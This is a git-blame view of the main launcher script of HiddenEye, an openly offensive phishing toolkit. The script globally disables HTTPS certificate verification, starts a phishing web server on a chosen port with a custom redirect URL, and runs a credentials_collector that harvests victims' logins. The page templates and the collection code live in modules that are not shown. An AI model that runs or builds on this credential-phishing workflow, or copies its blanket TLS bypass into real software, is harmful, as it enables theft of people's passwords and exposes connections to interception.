2018-11-20 01:49:09 +08:00
|
|
|
#
|
2020-05-11 17:12:06 +08:00
|
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
|
|
# This is free software, and you are welcome to redistribute it
|
|
|
|
# under certain conditions; you can read LICENSE for details.
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
import multiprocessing
|
2019-07-30 18:55:23 +08:00
|
|
|
import ssl
|
2020-07-13 04:32:19 +08:00
|
|
|
from os import environ
|
2020-08-13 18:29:54 +08:00
|
|
|
|
2020-07-13 04:32:18 +08:00
|
|
|
import Defs.ActionManager.main_runner as main_runner
|
|
|
|
import Defs.ActionManager.Server.server_runner as server_runner
|
|
|
|
import Defs.ActionManager.simple_informant as simple_informant
|
2020-08-05 16:06:24 +08:00
|
|
|
import Defs.FeatureManager.feature_prompt as prompt
|
2020-08-12 01:18:17 +08:00
|
|
|
from controllers.EULA_controller import EULAController
|
2019-11-17 00:19:44 +08:00
|
|
|
|
2020-08-12 01:18:17 +08:00
|
|
|
if EULAController().check_eula_existence() is False:
|
|
|
|
EULAController().generate_new_eula()
|
|
|
|
if EULAController().check_eula_confirmation() is False:
|
2020-08-13 18:29:09 +08:00
|
|
|
EULAController().confirm_eula()
|
2020-08-11 23:19:58 +08:00
|
|
|
|
2020-07-13 04:32:17 +08:00
|
|
|
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
2020-08-13 18:30:01 +08:00
|
|
|
ssl, "_create_unverified_context", None):
|
2019-11-17 00:19:44 +08:00
|
|
|
ssl._create_default_https_context = ssl._create_unverified_context
|
2019-07-30 18:55:23 +08:00
|
|
|
|
2020-05-13 23:45:44 +08:00
|
|
|
simple_informant.check_permissions()
|
|
|
|
# verCheck() # For now it's useless, i'll rewrite it later, after release.
|
|
|
|
simple_informant.check_php()
|
2020-07-13 04:32:13 +08:00
|
|
|
# checkLocalxpose()
|
2020-08-10 08:43:08 +08:00
|
|
|
simple_informant.verify_connection()
|
2020-07-13 04:32:13 +08:00
|
|
|
# checkOpenport()
|
|
|
|
# checkPagekite()
|
|
|
|
# checkLT()
|
2018-10-29 03:49:19 +08:00
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
2020-05-06 23:00:28 +08:00
|
|
|
main_runner.start_main_menu()
|
2020-08-05 16:06:24 +08:00
|
|
|
prompt.feature_prompt()
|
2020-05-06 23:00:28 +08:00
|
|
|
main_runner.enter_custom_redirecting_url()
|
|
|
|
port = simple_informant.port_selector()
|
2019-07-30 19:24:16 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
##############
|
2020-05-06 23:00:28 +08:00
|
|
|
server_runner.start_server(port)
|
2020-06-03 19:15:52 +08:00
|
|
|
server_runner.server_selection(port)
|
2018-10-30 22:32:47 +08:00
|
|
|
|
2020-08-13 18:30:01 +08:00
|
|
|
multiprocessing.Process(target=server_runner.start_server,
|
|
|
|
args=(port, )).start()
|
2020-06-11 17:56:16 +08:00
|
|
|
simple_informant.credentials_collector()
|
2018-10-29 03:49:19 +08:00
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
2020-08-11 23:19:58 +08:00
|
|
|
# When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors)
|
2020-07-13 04:32:17 +08:00
|
|
|
port = "8080"
|
2020-05-06 23:00:28 +08:00
|
|
|
simple_informant.exit_message(port)
|
2019-11-17 00:19:44 +08:00
|
|
|
exit()
|